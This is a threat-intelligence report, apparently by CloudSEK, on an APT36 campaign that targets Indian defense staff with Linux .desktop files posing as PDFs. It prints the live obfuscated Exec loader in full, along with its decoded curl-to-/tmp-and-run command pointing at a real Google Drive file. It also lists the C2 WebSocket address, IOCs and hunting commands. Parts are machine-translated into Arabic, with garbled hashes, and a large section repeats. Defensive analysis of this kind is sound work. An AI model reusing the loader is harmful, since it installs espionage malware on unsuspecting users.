🚀 لقد رفعت CloudSek جولة B1 من السلسلة B1 بقيمة 19 مليون دولار - تعزيز مستقبل الأمن السيبراني التنبؤي

تقرير التحقيق: حملة APT36 للبرامج الضارة باستخدام ملفات إدخال سطح المكتب وتسليم حمولة Google Drive

Pakistan-linked APT36 (Transparent Tribe) launched a new cyber-espionage campaign targeting Indian government and defense entities. Active in August 2025, the group used phishing ZIP files containing malicious Linux “.desktop” shortcuts that downloaded payloads from Google Drive. The malware created persistence, evaded detection, and connected to a WebSocket C2 server (seemysitelive[.]store). Investigators urge blocking the C2 domain, scanning for indicators of compromise, and tightening email and endpoint defenses.

أيوش بانوار
August 21, 2025
Green Alert
Last Update posted on
August 21, 2025
Table of Contents
Author(s)
No items found.

Executive Summary

APT36 — also known as Transparent Tribe, Mythic Leopard, Earth Karkaddan, or Operation C-Major — is a Pakistan-based advanced persistent threat (APT) group active since at least 2013. The group is primarily focused on cyber-espionage activities targeting Indian government entities, with a particular emphasis on defense personnel and related organizations. APT36 is well known for its persistent phishing campaigns and credential-harvesting operations used to gain access to sensitive environments.

In our recent investigations, we observed a new infection technique leveraging Linux desktop entry (.desktop) files as a malware delivery mechanism. The attack begins with a malicious ZIP archive containing a .desktop file disguised as a document (e.g., PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.desktop). When executed, the loader downloads a dropper payload from Google Drive, stored there as hex-encoded strings. The malware then:

  1. Decodes the hex payload and writes it to /tmp/PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf-$(date +%s) (where date +%s provides a Unix timestamp).
  2. Adjusts permissions and executes the dropper binary.
  3. Opens a decoy PDF file in Firefox, creating the impression that a legitimate document has been accessed to reduce victim suspicion.

Once launched, the dropper performs several operations:

  • Executes anti-debugging and anti-sandbox checks.
  • Establishes persistence on the infected system.
  • Attempts to establish a connection with its command-and-control (C2) infrastructure using WebSockets.

Analysis

PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.zip : Zip file contains .desktop malware file

MD5 Hash : 6ac0fe0fa5d9af8193610d710a7da63c

SHA1 Hash : 3e3169c513c02126028480421fb341a167cb9fcd

SHA256 Hash : 34ad45374d5f5059cad65e7057ec0f3e468f00234be7c34de033093efc4dd83d

After Unziping the zip file we get a .desktop file (PROCUREMENT_OF_MANPORTABLE_\&_COMPAC.pdf.desktop)

MD5 Hash : a484f85d132609a4a6b5ed65ece7d331

SHA1 Hash : 1982f09bfab3a6688bb80249a079db1a759214b7

SHA256 Hash : 6347f46d77a47b90789a1209b8f573b2529a6084f858a27d977bf23ee8a79113

A .desktop file is a plain text configuration file used primarily in Linux desktop environments to define application shortcuts and launchers. It provides metadata about an application, such as its name, icon, and the command to execute the program. These files allow an application to appear in system menus, on the desktop, or in panels, facilitating easy launching from graphical user interfaces.

Fig 1 : .desktop file with pdf icon impersonating a real pdf file

The malicious code is concealed within the icon configuration.

Fig 2 : Code Stored in .desktop file

Analysis for .desktop file

  1. Embedded Icon Data

# --- BEGIN EMBEDDED ICON DATA ---
# iVBORw0KGgqd1AvKicUBc7GuHI7XQwdKi/HWYzY53AMg1uzySt9pcU8vjp35LwaNYUW9Oqdg9oIc
# ... (Base64-encoded image data) ...
# --- END EMBEDDED ICON DATA ---

  • These lines contain an embedded icon image encoded in Base64 format.
  • This icon is used by the Linux desktop environment to visually represent the .desktop file.
  • Embedding the icon data helps disguise the file as a legitimate PDF document shortcut.
  • The malware hides itself "between" or alongside the icon data to avoid casual detection.

  1.  [Desktop Entry] Header

[Desktop Entry]

  • Marks the beginning of the desktop entry configuration as per the Desktop Entry Specification.
  • Indicates this file defines how the desktop environment should treat this item (e.g., application shortcut).

  1. Name Field

Name=PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf

  • The displayed name of this shortcut, designed to look like a legitimate PDF file.
  • Using a plausible document name helps trick users into double-clicking.

  1. Exec Field

Exec=bash -c 'CTFuFt="/tmp/PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf-$(date +%s)"; niLThe="$(echo ZWFNWEpXPSItLWZhaWwgLS1sb2NhdGlvbiAtLXNob3ctZXJyb3IiOyBjdXJsICR7ZWFNWEpXfSAiaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xVlFRaVR0NzhOM0twWUp6VmJFLTk1dUlMbk84NFd6Xy0iIHwgeHhkIC1yIC1w | base64 -d)"; eval "$niLThe" > "$CTFuFt" && chmod +x "$CTFuFt" && "$CTFuFt" & iuqdST="$(echo ZmlyZWZveCAtLW5ldy13aW5kb3cgImh0dHBzOi8vZHJpdmUuZ29vZ2xlLmNvbS9maWxlL2QvMWtuMExfNldZYmZVVXgwZG16d2ZBTERuemtWSEpBUFR1L3ZpZXc/dXNwPWRyaXZlX2xpbmsi | base64 -d)"; eval "$iuqdST" &'

  • This is the core malware execution command that runs when the .desktop file is executed.

Breakdown:

  • CTFuFt is a variable set to a file path in /tmp/ with the original PDF name appended by a Unix timestamp to create a unique filename.
  • niLThe is set by decoding a base64-encoded string, which is a hex-encoded payload. i.e niLThe stores the following command

curl --fail --location --show-error "https://drive.google.com/uc?export=download&id=1VQQiTt78N3KpYJzVbE-95uILnO84Wz_-" | xxd -r -p

  • This decoded payload is written to the file path $CTFuFt (/tmp dir).
  • The file is then given execute permissions (chmod +x).
  • The payload file is executed in the background (&).
  • Another base64-decoded command is stored in iuqdST which launches Firefox, opening a decoy PDF URL to mislead the user.

firefox --new-window "https://drive.google.com/file/d/1kn0L_6WYbfUUx0dmzwfALDnzkVHJAPTu/view?usp=drive_link

  • Both payload execution and decoy PDF opening happen concurrently.
  • Essentially, this runs a hidden malicious payload while showing a fake legitimate document to the victim.

  1. Terminal Field

Terminal=false

  • Indicates that the command should run without opening a visible terminal window.
  • Helps hide the attack execution from user view.

  1. Type Field

Type=Application

  • Identifies this .desktop file as an application launcher.
  • This field tells the system that executing this file will run an application or command rather than opening a folder or link.

  1. Icon Field

Icon=application-pdf

  • Specifies the icon that the desktop environment should display for this file.
  • Set to a generic PDF icon to further disguise the file as a document rather than an executable.

  1. حقل الفئات

الفئات = الأداة المساعدة؛

  • تستخدم من قبل بيئة سطح المكتب لتصنيف التطبيق.
  • هنا، يتم وضع علامة عليها كأداة مساعدة، على الأرجح لتجنب الشك.

  1. حقل يدعم التشغيل التلقائي لـ X-gnome

تم تمكين التشغيل التلقائي لـ X-gnome = صحيح

  • مفتاح خاص بـ Gnome يحدد هذا الملف ليتم تشغيله تلقائيًا عندما يقوم المستخدم بتسجيل الدخول.
  • قد تكون هذه محاولة لإثبات الثبات عن طريق تشغيل ملف.desktop الضار في كل بداية جلسة.

  1. حقل دمج الصور في تطبيق X

دمج صورة التطبيق X = خطأ

  • يمنع تكامل AppImage، وهي ميزة Linux المتعلقة بالتطبيقات المحمولة.
  • من المحتمل ألا تكون ذات صلة بالبرامج الضارة ولكنها مضمنة للحفاظ على بنية ملفات سطح المكتب المتوقعة.
  1. كتلة بيانات الأيقونة المضمنة الثانية

# --- بدء بيانات الرمز المضمنة ---
# Ivborw0kggqmdcytlapgmnafl2BLX+GYT9XEIQFRAD7YP+ESZ18Tsefe3ggqwQPWXLB2PJG
#... (بيانات الصورة المشفرة Base64)...
# --- إنهاء بيانات الرمز المضمنة ---

  • تم تضمين رمز آخر بترميز Base64 مرة أخرى في النهاية، ربما للحفاظ على تكامل الملف أو صد الاكتشاف الأبسط.
  • هذا يعزز التنكر من خلال تضمين صور أيقونات متعددة.

الشكل 3: لقطة من الشرك pdf

تحليل الملف المسقط (الحمولة)

ملف الحمولة: ELF 64 بت LSB قابل للتنفيذ، x86-64، الإصدار 1 (SYSV)، مرتبط بشكل ثابت، معرف البناء [sha1] =508a3568c56ed4f613cfafe23ff12c81ba627eb، مع debug_info، لم يتم تجريده

من خلال تحليل رأس القسم، يمكننا التأكد من أن هذا هو الخيار الثنائي.

هاش إم دي 5: 566ddd4eb4ca8d4d4d4d67b72e7f944055

هاش SHA1: df4db969a69 efc1db59f4d3c596ed590e059777

هاش SHA256: 7a946339439 eb678316 a124b8d700b21de919c81ee5bef33e8c848 b7183927b

تعطي الهندسة العكسية لثنائي go بعض النتائج المثيرة للاهتمام:

1. ابدأ وقت التشغيل واكدس النمو

  • هذه هي طريقة Go للتحقق مما إذا كانت هناك مساحة كافية للتكديس وتنمية مكدس goroutine عند الحاجة.

2. الفحوصات العشوائية والمضادة للتحليل

  • إنها تزرع العشوائية مع الوقت الحالي.
  • يقوم بإجراء «فحوصات التهرب الوهمية» بشكل متكرر - وهي إجراءات مكافحة التصحيح ومكافحة الحماية المصممة لإضاعة الوقت أو اكتشاف الأجهزة.
  • خدعة البرامج الضارة النموذجية للتخلص من المحاكيات والمحللين الثابتين.

3. إنشاء العميل

  • يبدو أن هذه الوظيفة تنشئ كائن «عميل» للشبكة لاستخدامه لاحقًا.

4. أنماط التخفي/الثبات

تتفرع على أساس os.args:

إذا كان os.args == «--hidden»، فإنه يؤدي إلى:

(وضع التثبيت الخفي)

بخلاف ذلك، فإنه يقوم بتثبيت الثبات (من المحتمل أن يضيف نفسه إلى cron وبرنامج النسخ الاحتياطي):

5. التسجيل والإعلانات

هناك العديد من المكالمات إلى:

سجل. (*المسجل). الإخراج (...)
وظيفة الطباعة الرئيسية
وظيفة الطباعة الرئيسية

حيث تقوم بتسجيل رسائل مثل:

«بدء تشغيل العميل الخفي...»

«(معرف:...)»
«محاولة الاتصال بالخادم:...»

6. سلوك القيادة والتحكم

تعتبر الحلقة في النهاية أمرًا بالغ الأهمية:

  • تقوم مدونة Base64 بفك الشفرة إلى عنوان URL الخاص بـ WebSocket (مثل: //seemysitelive [.] store:8080/ws)
  • يحاول العميل باستمرار الاتصال به.
  • في حالة فشل الاتصال، يقوم بتسجيل الدخول ثم وضع السكون وإعادة المحاولة - حلقة التنبيه الكلاسيكية C2 (الأوامر والتحكم).

7. استخدام سيسكال

  • هذا إما عن طريق التلاعب بالعمليات على مستوى منخفض (ربما الاختباء أو المثابرة أو تصعيد الامتيازات).

الإسناد

كان C2 الذي وجدناه يشغل مقبس ويب يعرض عبارة «مرحبًا بك في خادم Stealth». دعنا نتحقق من C2 على Censys لتحديد ما إذا كان بإمكاننا جمع أي عناصر متعلقة بـ «Stealth Server».

الشكل 4. نتائج استعلام التعداد

تم البحث عن عناوين IP باستخدام استعلام Censys التالي:

<title>services.http.response.html_tags: «خادم التخفي - تسجيل الدخول»</title>

النتائج:

  • تطابق 4 عناوين IP مع الاستعلام.
  • تم تحديد 3 منها على أنها ضارة:
  • 2 هي خوادم C2 الخاصة بنا.
  • 1 هو C2 المنسوب سابقًا المرتبط بـ APT36.

نطاق C2: شاهد موقعي مباشرة [.] متجر

بروتوكول الإنترنت C2:164.215.103.55 (متعلق بـ ASN: AS 213373؛ آي بي كونيكت إنك)

الاتصال بمقبس الويب يعطي: «مرحبًا بك في خادم Stealth»

الشكل 5. نتائج Virustotal للمجال

الشكل 6. استجابة من مقبس الويب

نموذج الماس لـ APT36

التأثير

يمثل استخدام google drive في دورة حياة الهجوم تطورًا كبيرًا في قدرات مجموعة التهديدات، حيث يقدم نواقل التصيد الاحتيالي التي تشكل مخاطر أعلى على البنية التحتية الحكومية والدفاعية القائمة على Linux.

التأثير على الشركات والحكومات

التجسس المستهدف على القطاعات الحرجة: APT36 attacks focus on government and defense personnel, risking leakage of sensitive defense and strategic information that can compromise national security and organizational confidentiality.

Stealthy Persistence and Evasion: Using disguised .desktop files and sophisticated anti-debugging/anti-sandbox techniques, the malware persists undetected on Linux systems, allowing prolonged unauthorized access and espionage.

Supply Chain and Procurement Security Threat: The campaign uses procurement-themed phishing to infiltrate organizations, highlighting vulnerabilities in procurement workflows which can lead to operational disruption, fraud, and loss of trust.

Command & Control Over Non-Standard Protocols: Utilizing WebSocket communications on port 8080, the campaign maintains stealthy remote control and exfiltration capabilities, complicating detection and incident response efforts.

Indicators of Compromise (IOCs) 

File Hashes

Malicious ZIP Archive
Filename: PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.zip
MD5:      6ac0fe0fa5d9af8193610d710a7da63c
SHA1:     3e3169c513c02126028480421fb341a167cb9fcd
SHA256:   34ad45374d5f5059cad65e7057ec0f3e468f00234be7c34de033093efc4dd83d

Malicious .desktop File
Filename: PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.desktop
MD5:      a484f85d132609a4a6b5ed65ece7d331
SHA1:     1982f09bfab3a6688bb80249a079db1a759214b7
SHA256:   6347f46d77a47b90789a1209b8f573b2529a6084f858a27d977bf23ee8a79113

Go Binary Payload
Filename: ELF 64-bit LSB executable (dropped payload)
MD5:      566ddd4eb4ca8d4dd67b72ee7f944055
SHA1:     df4db969a69efc1db59f4d3c596ed590ee059777
SHA256:   7a946339439eb678316a124b8d700b21de919c81ee5bef33e8cb848b7183927b

Network Indicators

Command & Control Infrastructure

Domain:   seemysitelive[.]store
IP:       164.215.103.55
ASN:      AS 213373 (IP Connect Inc)
Protocol: WebSocket (ws://)
Port:     8080
URL:      ws://seemysitelive[.]store:8080/ws
Banner:   "Welcome to Stealth Server"

Payload Delivery Infrastructure

Platform: Google Drive

Attacker Gmail : [email protected]
URL Pattern: https://drive.google.com/uc?export=download&id=[FILE_ID]
Decoy URL: https://drive.google.com/file/d/1kn0L_6WYbfUUx0dmzwfALDnzkVHJAPTu/view?usp=drive_link

File System Artifacts

Payload Drop Locations
Path Pattern: /tmp/PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf-[TIMESTAMP]
Example:      /tmp/PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf-1692547200
Permissions:  Executable (chmod +x applied)

Behavioral Indicators

Process Execution Patterns
Command: bash -c [BASE64_ENCODED_COMMANDS]
Pattern: curl --fail --location --show-error [GOOGLE_DRIVE_URL] | xxd -r -p
Process: Firefox launch with decoy PDF URL
Binary:  Go executable with anti-debugging features

Network Communication Patterns

Protocol:     WebSocket connections to port 8080
Retry Logic:  10-second intervals on connection failure
User-Agent:   Go HTTP client patterns
Persistence:  Continuous reconnection attempts

Remediation Recommendations

Network Security

  • Block C2 Infrastructure
  • Add seemysitelive[.]store and 164.215.103.55 to network blocklists
  • Monitor and block WebSocket connections to port 8080
  • Implement DNS sinkholing for the malicious domain

Endpoint Detection

  • Search for file hashes across all Linux systems
  • Hunt for files in /tmp/ matching the naming pattern
  • Identify systems with suspicious .desktop files

Email Security

  • Block ZIP attachments containing .desktop files
  • Implement additional scanning for procurement-themed emails
  • Review email logs for similar attachment patterns

Hunt Operations

1. Threat Hunting Queries

   

# Search for suspicious .desktop files
  find / -name "*.desktop" -newer [recent_date] -exec grep -l "bash -c" {} \;
 
  # Look for hex-decoded payloads
  grep -r "xxd -r -p" /var/log/
 
  # Find Go binaries in suspicious locations
  find /tmp /var/tmp -type f -executable -exec file {} \; | grep "Go building"

2. Memory Analysis

   - Dump memory of suspicious Go processes

   - Analyze WebSocket connections in memory

   - Check for embedded configuration data

Appendix

ATT&CK Table

ATT&CK Tactics and Techniques

ATT&CK Tactic ATT&CK Technique ID Technique Name Description / Relevance
Initial Access T1566 Phishing Delivery via phishing ZIP attachments containing malicious .desktop files
Execution T1204.002 User Execution: Malicious File Execution of disguised .desktop files by users
T1064 Scripting Use of bash script commands in the .desktop Exec field to download payload
Persistence T1543.003 Create or Modify System Process: Systemd Service Persistence via autostart .desktop files and likely cron/systemd services
T1564.001 Hide Artifacts: Hidden Files and Directories Dropping payload in hidden /tmp with obfuscation
Defense Evasion T1036 Masquerading Disguising malware as legitimate PDF shortcuts with icon spoofing
T1027.001 Obfuscated Files or Information: Binary Padding Large base64 icon data to hide malicious commands
Credential Access T1110 Brute Force / Credential Dumping (common in APT36 campaigns) Credential harvesting focus in broader APT36 operations
Discovery T1518 Software Discovery Reconnaissance on victim environment (host info gathering)
Command and Control T1071 Application Layer Protocol Using WebSocket protocol for C2 communications
T1095 Non-Application Layer Protocol WebSocket is a non-standard C2 communication
T1105 Ingress Tool Transfer Downloading payload from Google Drive
T1571 Non-Standard Port C2 over uncommon port 8080 using WebSocket

Reference

https://x.com/SinghSoodeep/status/1955860231109665108

Predict Cyber threats against your organization

Related Posts
No items found.

انضم إلى أكثر من 10,000 مشترك

تابع آخر الأخبار حول سلالات البرامج الضارة، وأساليب التصيد الاحتيالي،
مؤشرات التسوية وتسريب البيانات.

Take action now

Secure your organisation with our Award winning Products

CloudSEK Platform is a no-code platform that powers our products with predictive threat analytic capabilities.

Table of Content

Executive Summary

APT36 — also known as Transparent Tribe, Mythic Leopard, Earth Karkaddan, or Operation C-Major — is a Pakistan-based advanced persistent threat (APT) group active since at least 2013. The group is primarily focused on cyber-espionage activities targeting Indian government entities, with a particular emphasis on defense personnel and related organizations. APT36 is well known for its persistent phishing campaigns and credential-harvesting operations used to gain access to sensitive environments.

In our recent investigations, we observed a new infection technique leveraging Linux desktop entry (.desktop) files as a malware delivery mechanism. The attack begins with a malicious ZIP archive containing a .desktop file disguised as a document (e.g., PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.desktop). When executed, the loader downloads a dropper payload from Google Drive, stored there as hex-encoded strings. The malware then:

  1. Decodes the hex payload and writes it to /tmp/PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf-$(date +%s) (where date +%s provides a Unix timestamp).
  2. Adjusts permissions and executes the dropper binary.
  3. Opens a decoy PDF file in Firefox, creating the impression that a legitimate document has been accessed to reduce victim suspicion.

Once launched, the dropper performs several operations:

  • Executes anti-debugging and anti-sandbox checks.
  • Establishes persistence on the infected system.
  • Attempts to establish a connection with its command-and-control (C2) infrastructure using WebSockets.

Analysis

PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.zip : Zip file contains .desktop malware file

MD5 Hash : 6ac0fe0fa5d9af8193610d710a7da63c

SHA1 Hash : 3e3169c513c02126028480421fb341a167cb9fcd

SHA256 Hash : 34ad45374d5f5059cad65e7057ec0f3e468f00234be7c34de033093efc4dd83d

After Unziping the zip file we get a .desktop file (PROCUREMENT_OF_MANPORTABLE_\&_COMPAC.pdf.desktop)

MD5 Hash : a484f85d132609a4a6b5ed65ece7d331

SHA1 Hash : 1982f09bfab3a6688bb80249a079db1a759214b7

SHA256 Hash : 6347f46d77a47b90789a1209b8f573b2529a6084f858a27d977bf23ee8a79113

A .desktop file is a plain text configuration file used primarily in Linux desktop environments to define application shortcuts and launchers. It provides metadata about an application, such as its name, icon, and the command to execute the program. These files allow an application to appear in system menus, on the desktop, or in panels, facilitating easy launching from graphical user interfaces.

Fig 1 : .desktop file with pdf icon impersonating a real pdf file

The malicious code is concealed within the icon configuration.

Fig 2 : Code Stored in .desktop file

Analysis for .desktop file

  1. Embedded Icon Data

# --- BEGIN EMBEDDED ICON DATA ---
# iVBORw0KGgqd1AvKicUBc7GuHI7XQwdKi/HWYzY53AMg1uzySt9pcU8vjp35LwaNYUW9Oqdg9oIc
# ... (Base64-encoded image data) ...
# --- END EMBEDDED ICON DATA ---

  • These lines contain an embedded icon image encoded in Base64 format.
  • This icon is used by the Linux desktop environment to visually represent the .desktop file.
  • Embedding the icon data helps disguise the file as a legitimate PDF document shortcut.
  • The malware hides itself "between" or alongside the icon data to avoid casual detection.

  1.  [Desktop Entry] Header

[Desktop Entry]

  • Marks the beginning of the desktop entry configuration as per the Desktop Entry Specification.
  • Indicates this file defines how the desktop environment should treat this item (e.g., application shortcut).

  1. Name Field

Name=PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf

  • The displayed name of this shortcut, designed to look like a legitimate PDF file.
  • Using a plausible document name helps trick users into double-clicking.

  1. Exec Field

Exec=bash -c 'CTFuFt="/tmp/PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf-$(date +%s)"; niLThe="$(echo ZWFNWEpXPSItLWZhaWwgLS1sb2NhdGlvbiAtLXNob3ctZXJyb3IiOyBjdXJsICR7ZWFNWEpXfSAiaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xVlFRaVR0NzhOM0twWUp6VmJFLTk1dUlMbk84NFd6Xy0iIHwgeHhkIC1yIC1w | base64 -d)"; eval "$niLThe" > "$CTFuFt" && chmod +x "$CTFuFt" && "$CTFuFt" & iuqdST="$(echo ZmlyZWZveCAtLW5ldy13aW5kb3cgImh0dHBzOi8vZHJpdmUuZ29vZ2xlLmNvbS9maWxlL2QvMWtuMExfNldZYmZVVXgwZG16d2ZBTERuemtWSEpBUFR1L3ZpZXc/dXNwPWRyaXZlX2xpbmsi | base64 -d)"; eval "$iuqdST" &'

  • This is the core malware execution command that runs when the .desktop file is executed.

Breakdown:

  • CTFuFt is a variable set to a file path in /tmp/ with the original PDF name appended by a Unix timestamp to create a unique filename.
  • niLThe is set by decoding a base64-encoded string, which is a hex-encoded payload. i.e niLThe stores the following command

curl --fail --location --show-error "https://drive.google.com/uc?export=download&id=1VQQiTt78N3KpYJzVbE-95uILnO84Wz_-" | xxd -r -p

  • This decoded payload is written to the file path $CTFuFt (/tmp dir).
  • The file is then given execute permissions (chmod +x).
  • The payload file is executed in the background (&).
  • Another base64-decoded command is stored in iuqdST which launches Firefox, opening a decoy PDF URL to mislead the user.

firefox --new-window "https://drive.google.com/file/d/1kn0L_6WYbfUUx0dmzwfALDnzkVHJAPTu/view?usp=drive_link

  • Both payload execution and decoy PDF opening happen concurrently.
  • Essentially, this runs a hidden malicious payload while showing a fake legitimate document to the victim.

  1. Terminal Field

Terminal=false

  • Indicates that the command should run without opening a visible terminal window.
  • Helps hide the attack execution from user view.

  1. Type Field

Type=Application

  • Identifies this .desktop file as an application launcher.
  • This field tells the system that executing this file will run an application or command rather than opening a folder or link.

  1. Icon Field

Icon=application-pdf

  • Specifies the icon that the desktop environment should display for this file.
  • Set to a generic PDF icon to further disguise the file as a document rather than an executable.

  1. حقل الفئات

الفئات = الأداة المساعدة؛

  • تستخدم من قبل بيئة سطح المكتب لتصنيف التطبيق.
  • هنا، يتم وضع علامة عليها كأداة مساعدة، على الأرجح لتجنب الشك.

  1. حقل يدعم التشغيل التلقائي لـ X-gnome

تم تمكين التشغيل التلقائي لـ X-gnome = صحيح

  • مفتاح خاص بـ Gnome يحدد هذا الملف ليتم تشغيله تلقائيًا عندما يقوم المستخدم بتسجيل الدخول.
  • قد تكون هذه محاولة لإثبات الثبات عن طريق تشغيل ملف.desktop الضار في كل بداية جلسة.

  1. حقل دمج الصور في تطبيق X

دمج صورة التطبيق X = خطأ

  • يمنع تكامل AppImage، وهي ميزة Linux المتعلقة بالتطبيقات المحمولة.
  • من المحتمل ألا تكون ذات صلة بالبرامج الضارة ولكنها مضمنة للحفاظ على بنية ملفات سطح المكتب المتوقعة.
  1. كتلة بيانات الأيقونة المضمنة الثانية

# --- بدء بيانات الرمز المضمنة ---
# Ivborw0kggqmdcytlapgmnafl2BLX+GYT9XEIQFRAD7YP+ESZ18Tsefe3ggqwQPWXLB2PJG
#... (بيانات الصورة المشفرة Base64)...
# --- إنهاء بيانات الرمز المضمنة ---

  • تم تضمين رمز آخر بترميز Base64 مرة أخرى في النهاية، ربما للحفاظ على تكامل الملف أو صد الاكتشاف الأبسط.
  • هذا يعزز التنكر من خلال تضمين صور أيقونات متعددة.

الشكل 3: لقطة من الشرك pdf

تحليل الملف المسقط (الحمولة)

ملف الحمولة: ELF 64 بت LSB قابل للتنفيذ، x86-64، الإصدار 1 (SYSV)، مرتبط بشكل ثابت، معرف البناء [sha1] =508a3568c56ed4f613cfafe23ff12c81ba627eb، مع debug_info، لم يتم تجريده

من خلال تحليل رأس القسم، يمكننا التأكد من أن هذا هو الخيار الثنائي.

هاش إم دي 5: 566ddd4eb4ca8d4d4d4d67b72e7f944055

هاش SHA1: df4db969a69 efc1db59f4d3c596ed590e059777

هاش SHA256: 7a946339439 eb678316 a124b8d700b21de919c81ee5bef33e8c848 b7183927b

تعطي الهندسة العكسية لثنائي go بعض النتائج المثيرة للاهتمام:

1. ابدأ وقت التشغيل واكدس النمو

  • هذه هي طريقة Go للتحقق مما إذا كانت هناك مساحة كافية للتكديس وتنمية مكدس goroutine عند الحاجة.

2. الفحوصات العشوائية والمضادة للتحليل

  • إنها تزرع العشوائية مع الوقت الحالي.
  • يقوم بإجراء «فحوصات التهرب الوهمية» بشكل متكرر - وهي إجراءات مكافحة التصحيح ومكافحة الحماية المصممة لإضاعة الوقت أو اكتشاف الأجهزة.
  • خدعة البرامج الضارة النموذجية للتخلص من المحاكيات والمحللين الثابتين.

3. إنشاء العميل

  • يبدو أن هذه الوظيفة تنشئ كائن «عميل» للشبكة لاستخدامه لاحقًا.

4. أنماط التخفي/الثبات

تتفرع على أساس os.args:

إذا كان os.args == «--hidden»، فإنه يؤدي إلى:

(وضع التثبيت الخفي)

بخلاف ذلك، فإنه يقوم بتثبيت الثبات (من المحتمل أن يضيف نفسه إلى cron وبرنامج النسخ الاحتياطي):

5. التسجيل والإعلانات

هناك العديد من المكالمات إلى:

سجل. (*المسجل). الإخراج (...)
وظيفة الطباعة الرئيسية
وظيفة الطباعة الرئيسية

حيث تقوم بتسجيل رسائل مثل:

«بدء تشغيل العميل الخفي...»

«(معرف:...)»
«محاولة الاتصال بالخادم:...»

6. سلوك القيادة والتحكم

تعتبر الحلقة في النهاية أمرًا بالغ الأهمية:

  • تقوم مدونة Base64 بفك الشفرة إلى عنوان URL الخاص بـ WebSocket (مثل: //seemysitelive [.] store:8080/ws)
  • يحاول العميل باستمرار الاتصال به.
  • في حالة فشل الاتصال، يقوم بتسجيل الدخول ثم وضع السكون وإعادة المحاولة - حلقة التنبيه الكلاسيكية C2 (الأوامر والتحكم).

7. استخدام سيسكال

  • هذا إما عن طريق التلاعب بالعمليات على مستوى منخفض (ربما الاختباء أو المثابرة أو تصعيد الامتيازات).

الإسناد

كان C2 الذي وجدناه يشغل مقبس ويب يعرض عبارة «مرحبًا بك في خادم Stealth». دعنا نتحقق من C2 على Censys لتحديد ما إذا كان بإمكاننا جمع أي عناصر متعلقة بـ «Stealth Server».

الشكل 4. نتائج استعلام التعداد

تم البحث عن عناوين IP باستخدام استعلام Censys التالي:

<title>services.http.response.html_tags: «خادم التخفي - تسجيل الدخول»</title>

النتائج:

  • تطابق 4 عناوين IP مع الاستعلام.
  • تم تحديد 3 منها على أنها ضارة:
  • 2 هي خوادم C2 الخاصة بنا.
  • 1 هو C2 المنسوب سابقًا المرتبط بـ APT36.

نطاق C2: شاهد موقعي مباشرة [.] متجر

بروتوكول الإنترنت C2:164.215.103.55 (متعلق بـ ASN: AS 213373؛ آي بي كونيكت إنك)

الاتصال بمقبس الويب يعطي: «مرحبًا بك في خادم Stealth»

الشكل 5. نتائج Virustotal للمجال

الشكل 6. استجابة من مقبس الويب

نموذج الماس لـ APT36

التأثير

يمثل استخدام google drive في دورة حياة الهجوم تطورًا كبيرًا في قدرات مجموعة التهديدات، حيث يقدم نواقل التصيد الاحتيالي التي تشكل مخاطر أعلى على البنية التحتية الحكومية والدفاعية القائمة على Linux.

التأثير على الشركات والحكومات

التجسس المستهدف على القطاعات الحرجة: APT36 attacks focus on government and defense personnel, risking leakage of sensitive defense and strategic information that can compromise national security and organizational confidentiality.

Stealthy Persistence and Evasion: Using disguised .desktop files and sophisticated anti-debugging/anti-sandbox techniques, the malware persists undetected on Linux systems, allowing prolonged unauthorized access and espionage.

Supply Chain and Procurement Security Threat: The campaign uses procurement-themed phishing to infiltrate organizations, highlighting vulnerabilities in procurement workflows which can lead to operational disruption, fraud, and loss of trust.

Command & Control Over Non-Standard Protocols: Utilizing WebSocket communications on port 8080, the campaign maintains stealthy remote control and exfiltration capabilities, complicating detection and incident response efforts.

Indicators of Compromise (IOCs) 

File Hashes

Malicious ZIP Archive
Filename: PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.zip
MD5:      6ac0fe0fa5d9af8193610d710a7da63c
SHA1:     3e3169c513c02126028480421fb341a167cb9fcd
SHA256:   34ad45374d5f5059cad65e7057ec0f3e468f00234be7c34de033093efc4dd83d

Malicious .desktop File
Filename: PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.desktop
MD5:      a484f85d132609a4a6b5ed65ece7d331
SHA1:     1982f09bfab3a6688bb80249a079db1a759214b7
SHA256:   6347f46d77a47b90789a1209b8f573b2529a6084f858a27d977bf23ee8a79113

Go Binary Payload
Filename: ELF 64-bit LSB executable (dropped payload)
MD5:      566ddd4eb4ca8d4dd67b72ee7f944055
SHA1:     df4db969a69efc1db59f4d3c596ed590ee059777
SHA256:   7a946339439eb678316a124b8d700b21de919c81ee5bef33e8cb848b7183927b

Network Indicators

Command & Control Infrastructure

Domain:   seemysitelive[.]store
IP:       164.215.103.55
ASN:      AS 213373 (IP Connect Inc)
Protocol: WebSocket (ws://)
Port:     8080
URL:      ws://seemysitelive[.]store:8080/ws
Banner:   "Welcome to Stealth Server"

Payload Delivery Infrastructure

Platform: Google Drive

Attacker Gmail : [email protected]
URL Pattern: https://drive.google.com/uc?export=download&id=[FILE_ID]
Decoy URL: https://drive.google.com/file/d/1kn0L_6WYbfUUx0dmzwfALDnzkVHJAPTu/view?usp=drive_link

File System Artifacts

Payload Drop Locations
Path Pattern: /tmp/PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf-[TIMESTAMP]
Example:      /tmp/PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf-1692547200
Permissions:  Executable (chmod +x applied)

Behavioral Indicators

Process Execution Patterns
Command: bash -c [BASE64_ENCODED_COMMANDS]
Pattern: curl --fail --location --show-error [GOOGLE_DRIVE_URL] | xxd -r -p
Process: Firefox launch with decoy PDF URL
Binary:  Go executable with anti-debugging features

